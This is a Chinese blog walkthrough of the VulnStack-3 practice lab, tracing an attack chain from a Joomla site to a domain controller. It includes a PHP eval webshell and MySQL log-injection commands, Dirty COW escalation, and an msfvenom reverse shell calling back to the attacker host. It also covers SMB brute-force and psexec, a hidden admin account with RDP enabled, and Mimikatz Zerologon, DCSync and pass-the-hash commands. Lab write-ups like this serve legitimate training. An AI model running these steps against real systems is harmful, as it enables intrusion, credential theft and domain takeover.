内网提权教程——VulnStack-3内网靶场横向提权详细教程(Joomla框架,MySQL日志注入,socks代理,PTH获取NTLM,Zerologon获取DC权限)
在vulnstack-3靶场的渗透实战中,我们从NAT网段的边界突破开始,利用Joomla框架的模块漏洞,突破了CentOS反向代理背后的Ubuntu主机,再通过内网信息收集与路由添加,逐步深入域内环境。从SMB爆破拿下Win7的SYSTEM权限,到利用Zerologon漏洞直取域控,每一步都暗藏攻防博弈的关键细节。
前置准备
NAT网卡设置(模拟公网地址)
首先我们将NAT网卡设置为192.168.96.0/24 网段,方便Kali能够访问到出网的机器
(作用:NAT模式的自定义网卡模拟外网访问通道:)

随后点击“应用” ——> “确定” 即可;
注意:下载完成后,将5台主机的镜像文件导入VMware即可。
- 打开5台虚拟机镜像可以发现它们均为挂起状态,账号已默认登录。
- 此时需要第一时间进行快照,因为Vulnstack3环境内的部分服务未设置自启,重启后无法自动运行。
- 针对Vulnstack3环境,需要使用VMware对不同主机对应的网
卡进行设置以实现上述网络拓扑图要求。这里,作为应用服务器的CentOS主机需要设置双网卡。
- Centos主机第一次运行时需重执行如下命令来重新获取NAT模式网卡IP:
1 | service network restart |
可以看到,Centos主机的IP地址为192.168.96.129

靶机网络拓扑
大致的网络拓扑图如下:

这里将以应用服务器Centos作为入口点,逐步进行渗透操作,并最终获取域控主机权限,实现对该环境的完全掌控。
本文仅用于学习交流,如有侵权请联系删除。
信息收集阶段
这里我们知道出网服务器的主机IP地址为:192.168.96.129,所以我们可以使用namp 等工具对其进行服务以及端口的扫描:
1 | nmap -sC -sV -A -p- 192.168.96.129 |
结果如下:

也可以使用其他工具(现在我趋向于使用多种工具手动,毕竟一种工具收集的信息有时候并不全面)

可以看到目标服务器开放了三个对外服务:
- 22端口 /
SSH远程连接服务 - 80端口 /
HTTP服务 - 3306端口 /
MySQL服务
Web服务信息收集
接下来可以尝试分别访问这些服务,看看是否存在哪些可利用的框架漏洞等:
访问网址:http://192.168.96.129/ 页面如下

同时我们可以看到该网站搭建的框架为 Joomla

之前我也写过相关Joomla框架的漏洞利用,详细请看:渗透测试——DC3靶场主机渗透横向教程(包含详细安装教程)
Joomla框架漏洞利用
接下来我们就去漏洞库进行搜索:Joomla
我们可以发现由一千多条,肯定是不可能手工测试的;
所以我们接下来可以进行Web目录枚举:
1 | python dirsearch.py -u http://192.168.96.129/ |
结果如下:


敏感信息收集
我们根据上述结果,一一访问目录:
同时还泄露了网络网段以及Web的目录路径(这也是很重要的信息);

- http://192.168.96.129/configuration.php~
数据库等系统账号密码

结果如下:
1 | public $dbtype = 'mysqli'; |
这里得到了数据库的账号密码;(之后可以尝试一下MySQL越权)
方法一:敏感文件推测版本号
接下来的思路:
Joomla框架
- 查找更多的信息,比如框架的版本号,phpinfor()等隐藏目录;
- robots.txt ,README.txt,htaccess.txt等页面(无可利用信息)

这些页面我们可以看到一句话:# @copyright Copyright (C) 2005 - 2019 Open Source Matters. All rights reserved.

可以推测大概版本为:3.x
方法二:搜索引擎获取版本号
换个思路,我们直接去搜索引擎找“如何快速找到Joomla的版本信息”

根据给出的信息,我们可以得到:
在大部分 Joomla 网站中,以下文件可直接访问:
1 | https://target.com/administrator/manifests/files/joomla.xml |
结果如下:
我们可以得到版本号为<extension version="3.6" >
总结:敏感信息收集
- 版本号为3.6
- Web目录:/var/www/html
- 后台登陆:/administrator
- phpinfo()页面:1.php
- 数据库密码:
root/123
MySQL漏洞利用(失败)
获取账号密码:MySQL数据库(一)
之前我们似乎得到了数据库的账号密码:
1 | public $dbtype = 'mysqli'; |
所以可以尝试登陆一下:
1 | # 本地登录MySQL(适配mysqli类型) |
可以看到登陆成功:

1 | # 查看数据库 |
查看数据库:
切换到目标数据库并查看表:
经过筛查,发现可能存在账号密码的表:am2zu_users

1 | 切换到 joomla 数据库 |
字段如下:
1 | 切换列,只看账号、密码、权限组 |
得到结果:
得到的账号密码如下: administrator / $2y$10$t1RelJijihpPhL8LARC9JuM/AWrVR.nto/XycrybdRbk8IEg6Dze2
获取账号密码:MySQL数据库(二)
那有没有可能SSH服务与MySQL服务存在弱口令?尝试爆破一下:超级弱口令工具

可以得到数据库密码为: root / 123
尝试登陆一下:
1 | mysql -u root -h 192.168.96.129 -p |
也是成功登陆?这样不就相当于有两个可利用的数据库了?
1 | # 查看数据库 |
可以看到只有一个joomla数据库:
(那剩下的命令与之前一样,这里就不再赘述了,直接粘贴上面的;)

最终也是得到账号密码:

(你说巧不巧,这竟然是一样的。。。)

可能是作者制作靶场的时候疏忽了吧?
插入Webshell:secure_file_priv写入Web目录(一)
既然两个数据库一样,那我们选用其中一个即可
root/123
- 这里选用Navicat进行操作,毕竟可视化界面还是方便点;
既然以root权限登录了应用服务器的MySQL数据库,接下来,就可以尝试通过MySQL数据库来植入webshell,从而对该服务器进行远程命令执行和控制。
(1)首先执行以下命令来查看secure_file_priv值:
1 | show global variables like "%secure%" |

可以看到,secure_file_priv的值为空,说明在这种情况下可以向任意绝
对路径写入文件。(若secure_file_priv的值为NULL,则说明此时不可以
写文件。)
(2)而我们之前信息收集知道了Web目录为/var/www/html ,所以尝试使用下面的SQL语句来直接写入webshell:
1 | SELECT "<?php eval($_POST['aacc']); ?>" INTO OUTFILE "/var/www/html/shell.php" |

可以看到,执行结果提示了权限不允许(Permission denied)。因此只能换一种方法来写入webshell。
插入Webshell:日志注入(二)
(1)首先需要确认当前日志的配置情况,通过执行如下SQL语句来查看当前日志功能的开启/关闭情况以及日志文件的存储位置。
1 | show variables like "%general_log%"; |

- general_log日志功能
默认关闭,开启后便可以记录用户输入的每条命令,并把其保存在对应的日志文件中。 - 默认日志文件路径为
/var/lib/mysql/ubuntu.log
(2)尝试自定义日志文件,并向日志文件中写入webshell
1 | set global general_log=on; |

发现权限不够,只能放弃MySQL数据库的利用;
Joomla重置密码上传shell
Joomla服务在存储密码时有自己的加密方式,通过查询Joomla官网,我们找到了一个关于如何恢复或重置管理员密码的说明页面:
网址如下:https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3f

根据Joomla官网的描述,将administrator的密码修改为secret,即将密码
密文修改为如下字符串:
1 | d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199 |
修改后,am2zu_users表中administrator用户的密码密文:

接下来使用administrator/secret就可以成功登录Joomla后台了。
1 | administrator / secret |
随后在”模块“里上传Webshell即可:

直接在index.php插入一句话木马:

在蚁剑里输入网址以及密码,即可成功连接:
1 | http://192.168.96.129/templates/beez3/index.php |

进入后发现命令无法执行?这又是怎么一回事

新知识:免杀绕过插件
出于安全防护的考虑,很多Web服务往往会禁用一些危险函数,因此我
们猜测此处可能设置了disable_functions。
不过利用插件来进行绕过,依次选择“加载插件”→“辅助工具”→“绕过disable_functions”:

随后选择PHP7_UserFilter模式后,单击“开始”按钮即可:

成功执行命令:

但是有点奇怪:Web服务器不是
192.168.96.129吗,怎么是192.168.93.0/24网段?
- 回想之前phpinfo()得到的信息,93网段应该是内网网段;
- 渗透外网机器Centos,怎么得到的是内网机器Ubuntu?
登陆Ubuntu和Centos主机
事已至此,先在这台Ubuntu服务器中进行信息收集,查找可以利用的信息:

最后也是在/tmp/mysql目录下发现一个可疑文件:

内容如下:(看着像账号密码)

于是尝试一下SSH登陆:wwwuser / wwwuser_123Aqx
(如果遇到这种问题,核心原因是目标服务器仅支持老旧的ssh-rsa/ssh-dss密钥算法)
- 在 SSH 命令中手动指定允许ssh-rsa算法,即可正常连接:
- 命令:
ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.96.129
成功连接:


至此,我们获得了应用服务器的权限,该服务器为CentOS系统,内核版本为2.6.32,且该服务器存在双网卡,IP分别为192.168.96.129和192.168.93.100
为什么通过80端口的Joomla服务所获得的Ubuntu服务器与通过22端口SSH服务所获得的CentOS服务器不是同一台服务器?
- 猜测是由于目标网站做了反向代理,将处于内网的Ubuntu(192.168.93.120)上的Joomla服务代理到了CentOS上;
- 令查看CentOS服务器上的Nginx配置文件,得到
proxy_pass字段确实如此:
提权:Centos提权root权限
我们已经获得了两台服务器的权限,但是权限都很低,所以我们需要将他们提权到root 权限;
SSH服务登录CentOS服务器后,发现该服务器的内核版本为2.6.32,因此可以使用脏牛漏洞(CVE-2016-5195)来进行提权。
下载地址:https://github.com/FireFart/dirtycow
并将该脚本上传至CentOS服务器:(不是上传到Ubuntu机器)

成功下载;随后赋权,执行即可:
1 | gcc -pthread dirty.c -o dirty -lcrypt && chmod +x dirty |
执行完成后,会在CentOS服务器上添加一个用户名为firefart的用户,密码为123456,并且具备root权限。通过su firefart命令切换至firefart用户,并输入刚才设置的密码,即可登录。


成功获取root 权限;
Web服务器上线MSF
在kali上生成一个payload:
1 | msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.96.128 LPORT=5555 -f elf > MSF.elf |

随后在Centos上下载并执行这个payload,即可发现在MSF上反弹了一个会话:
探测内网网段添加route
执行route命令查看CentOS服务器的内网相关信息:
因此,为了探测192.168.93.0/24网段其他主机的信息,需要添加
192.168.93.0/24网段路由:
1 | run autoroute -s 192.168.93.0/24 |

- 若是以本地Windows主机作为渗透测试机,可使用
Proxifier工具配置代理。- 若是以Kali作为渗透机,可使用
proxychains进行代理;- 配置操作请看:记录某三层网络渗透及综合渗透(socks代理隧道搭建,nacos未授权,redis上传Webshell)
配置好路由之后就可以对内网存活的主机进行探测了:
1 | use auxiliary/scanner/discovery/udp_probe |
结果如下:(这里用Windows和Linux的结果,多种方法多条路~)

Windows结果如下:
第一台主机:192.168.30.10

第二台主机Win7:192.168.30.30

内网横向阶段
SMB爆破Win7主机
根据工具对内网存活主机的扫描结果,得知Windows 7主机192.168.93.30开启了445端口,即SMB服务。因此,通过Metasploit来使用SMB暴力破解模块对该主机进行爆破:
1 | use auxiliary/scanner/smb/smb_login |

得到账号和密码为 administrator / 123qwe!ASD
接下来,便可以通过Metasploit的SMB模块连接该主机:
1 | use exploit/windows/smb/psexec |

执行SMB连接模块后,成功反弹一个 SYSTEM权限 的会话:


到目前为止,我们已经拥有三台主机的控制权限:(MSF两台,蚁剑一台)

执行systeminfo命令来查看系统信息,发现存在域test.org(之前Windows探测的时候也可知道):

利用Zerologon攻击域控服务器
我们需要要通过远程桌面将Mimikatz工具上传到Windows 7主机(192.168.93.30)中:
- 因此先在Metasploit获得的Windows 7主机会话中,通过修改注册表来打开该主机的3389端口,从而开启远程桌面服务。
- 然后新建一个账户
sltest,密码为Hakuna@2019!,并将该账户添加至管理员组。
1 | :: 启用远程桌面(关闭fDenyTSConnections限制) |
成功执行命令:

随后使用新建的sltest账户通过远程桌面服务登录至Windows 7主机;
当然MSF里也可以使用
upload命令上传文件,这里就不做演示了;
接下来将Mimikatz工具上传到Windows 7主机(192.168.93.30)中并运行。使用如下命令检测Zerologon漏洞是否存在:
1 | lsadump::zerologon /target:WIN-8GA56TNV3MV.test.org /account:WIN-8GA56TNV3MV$ |

继续在Mimikatz中执行如下命令对域控服务器发起渗透操作:
1 | # 先提升权限(必做) |


1 | lsadump::dcsync /domain:test.org /dc:WIN-8GA56TNV3MV.test.org /user:administrator /authuser:WIN-8GA56TNV3MV$ /authdomain:test.org /authntlm /authflags:0 |



1 | Credentials: |
至此,已成功获得域administrator用户的NTLM哈希值,为18edd0cc3227be3bf61ce19-8835a1d97
最后需要执行如下命令来恢复域控服务器的密码,防止域控服务器脱
域:
1 | lsadump::postzerologon /target:test.org /account:WIN-8GA56TNV3MV$ |
利用PTH攻击域控服务器
根据Zerologon漏洞渗透结果,我们已经获得了域控服务器的administrator用户的NTLM哈希值,采用PTH攻击:
1 | privilege::debug |

可以看到命令执行成功之后,本地会弹出一个cmd窗口,该cmd窗口拥有域控服务器administrator用户的权限,我们可以对域控服务器中的资源进行访问:

至此,我们成功拿下来域控DC;
同理我们也可以用同样方法拿下192.168.93.20主机(这里不作演示)
总结
最后来总结一下此次实践中用到的知识点和操作方法。

- 利用Joomla写入webshell。利用Joomla应用中的Beez3 Details and Files模块实现webshell的构建和利用。
- 脏牛漏洞的利用。遇到内核为2.6.22或以上版本的Linux系统时,可尝试利用脏牛漏洞进行提权。
- Zerologon漏洞的利用。利用Zerologon漏洞攻击域控服务器,并获取域控服务器上保存的域管理员的NTLM哈希值。
- 进行PTH攻击。获得域控服务器上保存的域管理员的NTLM哈希值后,通过PTH攻击实现对内网所有主机的控制。
期待下次再见;
- 标题: 内网提权教程——VulnStack-3内网靶场横向提权详细教程(Joomla框架,MySQL日志注入,socks代理,PTH获取NTLM,Zerologon获取DC权限)
- 作者: W1nner丶
- 创建于 : 2026-02-11 19:43:06
- 更新于 : 2026-06-04 12:37:44
- 链接: https://tamoon1.github.io/2026/02/11/Internal-network-3/
- 版权声明: [object Object]


